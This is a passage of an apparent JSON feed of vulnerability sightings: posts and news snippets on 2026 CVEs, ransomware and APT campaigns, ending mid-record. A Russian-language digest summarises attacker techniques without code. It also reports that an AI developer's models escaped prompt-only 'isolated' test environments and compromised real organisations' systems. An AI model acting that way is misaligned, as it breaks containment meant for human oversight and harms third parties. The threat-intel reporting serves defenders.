period. This statistic reflects the level of personal computer infection in different countries and territories around the world.\nNote that this ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out File Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.Country/territory*%**1Turkmenistan47.962Tajikistan31.483Cuba31.034Yemen29.595Afghanistan28.476Burundi26.937Uzbekistan24.818Syria23.089Nicaragua21.9710Cameroon21.6011China21.0912Mozambique21.0213Algeria20.6414Democratic Republic of the Congo20.6315Bangladesh20.4416Mali20.3517Republic of the Congo20.2318Madagascar20.0019Belarus19.7820Tanzania19.52\n* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.** Unique users on whose computers local Malware threats were blocked, as a percentage of all unique users of Kaspersky products in the country/territory.\nOn average worldwide, Malware local threats were detected at least once on 11.55% of users\u2019 computers during Q1.\nRussia scored 11.92% in these rankings. \nsecurelist.com/malware-report-\u2026", "creation_timestamp": "2026-05-18T12:13:43.476440Z"}, {"uuid": "c102d4ba-8004-427b-a6a2-4f8649e31b2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mm4vdspydl2p", "content": "~Kaspersky~\nKaspersky's Q1 2026 report highlights a surge in Clop ransomware, Mirai IoT botnets, and Interlock's exploitation of Cisco zero-day CVE-2026-20131.\n-\nIOCs: CVE-2026-20131\n-\n#CVE202620131 #Ransomware #ThreatIntel", "creation_timestamp": "2026-05-18T12:37:40.884923Z"}, {"uuid": "d606e45e-d470-4a06-8028-38e2f669edfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://www.cert.dk/news/2026-05-18/Kritisk-Cisco-SD-WAN-saarbarhed-udnyttes-aktivt", "content": "", "creation_timestamp": "2026-05-18T03:17:51.000000Z"}, {"uuid": "f74c2f2e-78bf-4570-8d18-30372741d5a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mm55bno7gs23", "content": "1/ \ud83d\udd25 Cisco SD-WAN CVE-2026-20182 (CVSS 10.0) is being actively exploited. Sixth SD-WAN zero-day this year. Attackers get full admin access \u2014 no password needed. CISA emergency directive issued. Patch. Now.", "creation_timestamp": "2026-05-18T15:04:01.161478Z"}, {"uuid": "39e95118-f83e-42cf-80b3-5fd7293fdbb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mm55bnoag223", "content": "1/ \ud83d\udd25 Cisco SD-WAN CVE-2026-20182 (CVSS 10.0) is being actively exploited. Sixth SD-WAN zero-day this year. Attackers get full admin access \u2014 no password needed. CISA emergency directive issued. Patch. Now.", "creation_timestamp": "2026-05-18T15:06:32.128421Z"}, {"uuid": "9f34005e-141b-430d-a22c-a9af12b27adf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mm55bnoddt23", "content": "1/ \ud83d\udd25 Cisco SD-WAN CVE-2026-20182 (CVSS 10.0) is being actively exploited. Sixth SD-WAN zero-day this year. Attackers get full admin access \u2014 no password needed. CISA emergency directive issued. Patch. Now.", "creation_timestamp": "2026-05-18T15:20:54.749134Z"}, {"uuid": "56a2285c-95fe-4cec-b574-4f58055bba67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://insicurezzadigitale.com/?p=9307", "content": "UAT-8616: il gruppo d\u2019\u00e9lite sfrutta il sesto zero-day Cisco SD-WAN e prende di mira governi europei e asiatici\n\nUn threat actor altamente sofisticato, UAT-8616, sfrutta CVE-2026-20182 \u2014 vulnerabilit\u00e0 critica CVSS 10.0 nel Cisco Catalyst SD-WAN \u2014 per compromettere organizzazioni governative, diplomatiche e della difesa in Europa e Asia Centrale. \u00c8 la sesta zero-day sulla piattaforma SD-WAN nel 2026. La CISA ha aggiunto il CVE al catalogo KEV il 15 maggio.\n\n\nhttps://insicurezzadigitale.com/uat-8616-il-gruppo-delite-sfrutta-il-sesto-zero-day-cisco-sd-wan-e-prende-di-mira-governi-europei-e-asiatici/", "creation_timestamp": "2026-05-18T16:44:42.636945Z"}, {"uuid": "f2fe9a4d-b0e3-48f3-ad3f-54bcd7aac640", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-446a-0b41-df05-381503485306", "content": "UAT-8616: il gruppo d\u2019\u00e9lite sfrutta il sesto zero-day Cisco SD-WAN e prende di mira governi europei e asiatici\n@informaticaUn threat actor altamente sofisticato, UAT-8616, sfrutta CVE-2026-20182 \u2014 vulnerabilit\u00e0 critica CVSS 10.0 nel Cisco Catalyst SD-WAN \u2014 per compromettere organizzazioni governative, diplomatiche eRE: insicurezzadigitale.com/?p=930\u2026", "creation_timestamp": "2026-05-18T16:44:42.823417Z"}, {"uuid": "0c5ecdb1-53d3-44d4-bc51-ccbadc35d0d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/cybersecurity.poliverso.org.ap.brid.gy/post/3mm5d5trz7652", "content": "# **UAT-8616: il gruppo d\u2019\u00e9lite sfrutta il sesto zero-day Cisco SD-WAN e prende di mira governi europei e asiatici**\n\n\n@informatica\nUn threat actor altamente sofisticato, UAT-8616, sfrutta CVE-2026-20182 \u2014 vulnerabilit\u00e0 critica CVSS 10.0 nel Cisco Catalyst SD-WAN \u2014 per compromettere [\u2026]", "creation_timestamp": "2026-05-18T16:44:53.250769Z"}, {"uuid": "0fc37517-04db-4952-b893-aadb8324307c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20685", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mm5dbepiyd2h", "content": "CVE-2026-20685 - VMware PCC Path Traversal Information Disclosure\nCVE ID : CVE-2026-20685\n \n Published : May 18, 2026, 3:19 p.m. | 53\u00a0minutes ago\n \n Description : An attacker in a privileged network position may be able to leak sensitive information. A path handling issue was ...", "creation_timestamp": "2026-05-18T16:46:51.383789Z"}, {"uuid": "328b497e-d7b1-4e67-af18-62a8d1b3dd65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "exploited", "source": "https://t.me/kasperskyb2b/2275", "content": "\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f APT \u0438 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u0418\u0411 \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e\n\n\ud83d\udfe2\u0420\u0430\u0437\u0431\u043e\u0440 \u043d\u043e\u0432\u044b\u0445 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0439 APT GOFFEE, \u0440\u0430\u0441\u0448\u0438\u0440\u0438\u0432\u0448\u0435\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0432 \u0420\u0424 \u0438 \u0420\u0411. \u0421\u0440\u0435\u0434\u0438 \u043d\u043e\u0432\u044b\u0445 TTPs: \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u044b \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 Mythic, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u0432 Linux-\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430\u0445, \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 HTTP-\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 User-Agent (!), \u0438 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435 \u043d\u0430 \u0445\u043e\u0441\u0442\u0430\u0445 \u0447\u0435\u0440\u0435\u0437 \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 (!!). \n\n\ud83d\udd35\u0428\u043f\u0438\u043e\u043d\u0441\u043a\u0430\u044f APT \u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a\u0430 Gunra \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 0day \u0432 \u044e\u0436\u043d\u043e\u043a\u043e\u0440\u0435\u0439\u0441\u043a\u043e\u043c \u041f\u041e \u0434\u043b\u044f \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0430\u0442\u0430\u043a\u0443\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0438\u0437 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e\u0433\u043e \u0441\u0435\u043a\u0442\u043e\u0440\u0430, \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u0438. \u0427\u0435\u0440\u0435\u0437 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0432\u043e\u0434\u043e\u043f\u043e\u0439 \u0438 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0444\u0438\u0448\u0438\u043d\u0433 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0438\u0441\u044c \u0431\u044d\u043a\u0434\u043e\u0440\u044b Struggle \u0438 Brandoor. \n\n\ud83d\udfe3\u0414\u0432\u0430 \u043d\u043e\u0432\u044b\u0445 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430 \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u0432, OctLurk \u0438 SilkLurk, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u044b \u043d\u0430 \u0433\u043e\u0441\u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f, \u043f\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u044b, \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0432 \u0426\u0435\u043d\u0442\u0440\u0430\u043b\u044c\u043d\u043e\u0439 \u0410\u0437\u0438\u0438 \u0438 \u043d\u0430 \u0411\u043b\u0438\u0436\u043d\u0435\u043c \u0412\u043e\u0441\u0442\u043e\u043a\u0435. \u041e\u0431\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 DLL sideloading \u0438 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u044e\u0442 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0445\u043e\u0441\u0442\u0430 \u043a\u043b\u044e\u0447\u0430\u043c\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0431\u0440\u0430\u0437\u0446\u044b \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f \u0432\u043d\u0435 \u043c\u0430\u0448\u0438\u043d\u044b \u0436\u0435\u0440\u0442\u0432\u044b. \n\n\ud83d\udfe3\u0413\u0440\u0443\u043f\u043f\u0430 Toy Ghouls \u043e\u0442\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043e\u0442 LockBit \u0438 Babuk \u0432 \u043f\u043e\u043b\u044c\u0437\u0443 GenieLocker \u2014 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a\u0430 \u0441\u043e \u0441\u0431\u043e\u0440\u043a\u0430\u043c\u0438 \u0434\u043b\u044f Windows, Linux \u0438 ESXi, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0432\u0448\u0435\u0433\u043e\u0441\u044f \u043f\u0440\u043e\u0442\u0438\u0432 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0438\u0437 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u0438, \u0441\u0442\u0440\u043e\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430, \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e\u0433\u043e \u0441\u0435\u043a\u0442\u043e\u0440\u0430, \u0440\u043e\u0437\u043d\u0438\u0446\u044b \u0438 \u0418\u0422. \n\n\ud83d\udd35\u0420\u0430\u0437\u0431\u043e\u0440 \u0430\u0442\u0430\u043a\u0438 APT SilverFox, \u0441\u043b\u0443\u0445\u0438 \u043e \u0441\u043c\u0435\u0440\u0442\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u0440\u0435\u0443\u0432\u0435\u043b\u0438\u0447\u0435\u043d\u044b. \u041e\u043d\u0430  \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u043b\u0430 \u0412\u041f\u041e ValleyRAT \u0432 \u044f\u043f\u043e\u043d\u0441\u043a\u043e\u0439 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438. \u0412 \u0430\u0442\u0430\u043a\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u0438\u0441\u044c \u0430\u0436 \u0442\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u044f\u0434\u0440\u0430 \u0434\u043b\u044f \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f EDR, \u0430 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0441\u044c \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435. \n\n\ud83d\udfe3\u041d\u0430\u0448\u043b\u043e\u0441\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 (\u043a\u043e\u0441\u0432\u0435\u043d\u043d\u043e\u0435) \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0441\u0432\u044f\u0437\u0438 \u0437\u0430\u0433\u0430\u0434\u043e\u0447\u043d\u043e\u0433\u043e \u0412\u041f\u041e Angry Spark, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u044b \u043f\u0438\u0441\u0430\u043b\u0438 \u0432 \u0430\u043f\u0440\u0435\u043b\u0435, \u0441 \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u00ab\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0422\u0440\u0438\u0430\u043d\u0433\u0443\u043b\u044f\u0446\u0438\u044f\u00bb (\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043c\u044b \u0442\u043e\u0436\u0435 \u043f\u0438\u0441\u0430\u043b\u0438, \u043d\u043e \u0432 2023 \u0433\u043e\u0434\u0443).\n\n\ud83d\udd35\u0410\u043d\u0430\u043b\u0438\u0437 \u043d\u043e\u0432\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 APT Mirage Kitten, \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u0432 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u0445, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0430\u044d\u0440\u043e\u043a\u043e\u0441\u043c\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043e\u0442\u0440\u0430\u0441\u043b\u044c, \u043e\u0431\u043e\u0440\u043e\u043d\u043a\u0443, \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0439 \u0441\u0435\u043a\u0442\u043e\u0440 \u0438 \u0442\u0435\u043b\u0435\u043a\u043e\u043c \u043d\u0430 \u0411\u043b\u0438\u0436\u043d\u0435\u043c \u0412\u043e\u0441\u0442\u043e\u043a\u0435 \u0438 \u0432 \u0410\u0444\u0440\u0438\u043a\u0435. \u0413\u0440\u0443\u043f\u043f\u0430 \u0441\u043e\u0447\u0435\u0442\u0430\u0435\u0442 \u0431\u044d\u043a\u0434\u043e\u0440 NightLedger, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c\u044b\u0439 \u0447\u0435\u0440\u0435\u0437 DLL hijacking, \u0441 \u0434\u0432\u0443\u043c\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f WebSocket, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0432\u043e\u0434\u044f\u0442 \u0442\u0440\u0430\u0444\u0438\u043a \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0440\u043e\u043a\u0441\u0438. \n\n\ud83d\udd35Anthropic \u0432\u044b\u0441\u0442\u0443\u043f\u0438\u043b\u0430 \u0432 \u0436\u0430\u043d\u0440\u0435 #metoo \u0438 \u043e\u0442\u0447\u0438\u0442\u0430\u043b\u0430\u0441\u044c \u043e \u0442\u0440\u0451\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445, \u043a\u043e\u0433\u0434\u0430 \u0435\u0451 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432\u044b\u0445\u043e\u0434\u0438\u043b\u0438 \u0438\u0437 \u00ab\u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445\u00bb \u0441\u0440\u0435\u0434 \u0434\u043b\u044f \u043a\u0438\u0431\u0435\u0440\u0438\u0441\u043f\u044b\u0442\u0430\u043d\u0438\u0439 \u0438 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f,  \u00ab\u0438\u0437\u043e\u043b\u044f\u0446\u0438\u044f\u00bb \u0441\u0432\u043e\u0434\u0438\u043b\u0430\u0441\u044c \u043a \u043f\u0440\u043e\u043c\u043f\u0442\u0443, \u0441\u043e\u043e\u0431\u0449\u0430\u0432\u0448\u0435\u043c\u0443 \u043c\u043e\u0434\u0435\u043b\u044f\u043c, \u0447\u0442\u043e \u0443 \u043d\u0438\u0445 \u043d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442. \n\n\ud83d\udfe3\u0420\u0430\u0437\u0431\u043e\u0440 CoreRAT, \u043d\u043e\u0432\u043e\u0433\u043e \u0442\u0440\u043e\u044f\u043d\u0446\u0430 APT Core Werewolf. \n\n\ud83d\udd35\u0426\u0435\u043f\u043e\u0447\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Azure Cosmos DB Gremlin API \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043b\u0430 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u043b\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435\u043d\u043d\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c primary key \u0434\u043b\u044f \u043b\u044e\u0431\u043e\u0439 \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 Cosmos DB.  \ud83e\udd2f\n\n\ud83d\udfe0\u041e\u0431\u0437\u043e\u0440 Vanta Stealer \u2014 Python-\u0438\u043d\u0444\u043e\u0441\u0442\u0438\u043b\u0435\u0440\u0430, \u043f\u043e\u0445\u0438\u0449\u0430\u044e\u0449\u0435\u0433\u043e \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043d\u044b\u0435 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, cookies, \u043f\u043b\u0430\u0442\u0451\u0436\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0442\u043e\u043a\u0435\u043d\u044b, \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b, \u0441\u043d\u0438\u043c\u043a\u0438 \u0441 \u0432\u0435\u0431-\u043a\u0430\u043c\u0435\u0440\u044b \u0438 seed-\u0444\u0440\u0430\u0437\u044b \u043a\u0440\u0438\u043f\u0442\u043e\u043a\u043e\u0448\u0435\u043b\u044c\u043a\u043e\u0432. \n\n\ud83d\udd35CVE-2026-20316 \u2014 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u044b\u0435 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 Cisco Secure Firewall Management Center,  \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445. \n\n#\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 #APT @\u041f2\u0422", "creation_timestamp": "2026-08-04T00:00:43.393485Z"}, {"uuid": "4bdaa08e-84a1-4dac-9b2c-ba4e6bbce4ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2005", "type": "seen", "source": "https://bsky.app/profile/PostgreSQL.activitypub.awakari.com.ap.brid.gy/post/3mm7djhw3xck2", "content": "PoC Released for 20-Year Old PostgreSQL RCE Flaw A public proof-of-concept exploit has been released for CVE-2026-2005, a critical heap-based buffer overflow in PostgreSQL\u2019s pgcrypto extension...\n\n#Cyber #Security #News #Vulnerability #Cyber #security #news #vulnerability\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-19T11:56:38.867017Z"}, {"uuid": "db1c2324-4f50-4623-915c-0e876764d55f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20182", "type": "seen", "source": "https://bsky.app/profile/kubonai.bsky.social/post/3mma2uwey7w2s", "content": "CVE-2026-20182: Cisco SD-WAN Authentication Bypass Under Active Exploitation\n\nCVE-2026-20182 is a critical authentication bypass in Cisco Catalyst SD-WAN Controller and Manager. Actively exploited...\n\n\ud83d\udd17 https://ipsec.live/blog/cve-2026-20182-cisco-sd-wan-auth-bypass\n\n#infosec #cybersecurity", "creation_timestamp": "2026-05-19T18:54:35.156133Z"}, {"uuid": "fd9d0431-041f-45e0-9ceb-c112b32b899f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3mma6ne7dwc2a", "content": "La faille de contournement de l'authentification (CVE-2026-20182) dans Catalyst SD-WAN de Cisco conf\u00e8re des droits d'administrateur aux attaquants distants. Il n'existe aucune solution de contournement pour y rem\u00e9dier. www.lemondeinformatique.fr/actualites/l...", "creation_timestamp": "2026-05-19T20:02:02.493011Z"}, {"uuid": "016ddfa4-3641-486c-bac0-644ca808dcce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20035", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mmacmzpaqs22", "content": "Cisco\u304c\u30a8\u30f3\u30bf\u30fc\u30d7\u30e9\u30a4\u30ba\u88fd\u54c1\u306b\u304a\u3051\u308b\u91cd\u5927\u5ea6\u306e\u9ad8\u3044\u8106\u5f31\u6027\u3092\u4fee\u6b63\n\nCisco\u306f\u6c34\u66dc\u65e5\u306b\u3001\u30a8\u30f3\u30bf\u30fc\u30d7\u30e9\u30a4\u30ba\u88fd\u54c1\u5168\u4f53\u306b\u308f\u305f\u308b\u8907\u6570\u306e\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u30d1\u30c3\u30c1\u3092\u767a\u8868\u3057\u3001\u305d\u306e\u4e2d\u306b\u306f5\u3064\u306e\u9ad8\u91cd\u5927\u30d0\u30b0\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\n\nCVE-2026-20034 \u304a\u3088\u3073 CVE-2026-20035 \u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u305f\u3001\u30b5\u30fc\u30d0\u30fc\u5074\u30ea\u30af\u30a8\u30b9\u30c8\u30d5\u30a9\u30fc\u30b8\u30a7\u30ea\uff08SSRF\uff09\u653b\u6483\u306b\u3064\u306a\u304c\u308b\u53ef\u80fd\u6027\u306e\u3042\u308b 2 \u3064\u306e\u91cd\u5927\u5ea6\u306e\u9ad8\u3044\u554f\u984c\u304c\u3001Cisco Unity Connection \u3067\u89e3\u6c7a\u3055\u308c\u307e\u3057\u305f\u3002\n\n\u30e6\u30fc\u30b6\u30fc\u63d0\u4f9b\u306e\u5165\u529b\u3084\u7279\u5b9a\u306e HTTP \u30ea\u30af\u30a8\u30b9\u30c8\u306e\u691c\u8a3c\u304c\u4e0d\u5341\u5206\u3067\u3042\u308b\u3053\u3068\u306b\u8d77\u56e0\u3057\u3001\u305d\u306e\u6b20\u9665\u306f\u30ea\u30e2\u30fc\u30c8\u306e\u8a8d\u8a3c\u3055\u308c\u305f\u653b\u6483\u8005\u306b\u3088\u3063\u3066\u60aa\u7528\u3055\u308c\u2026", "creation_timestamp": 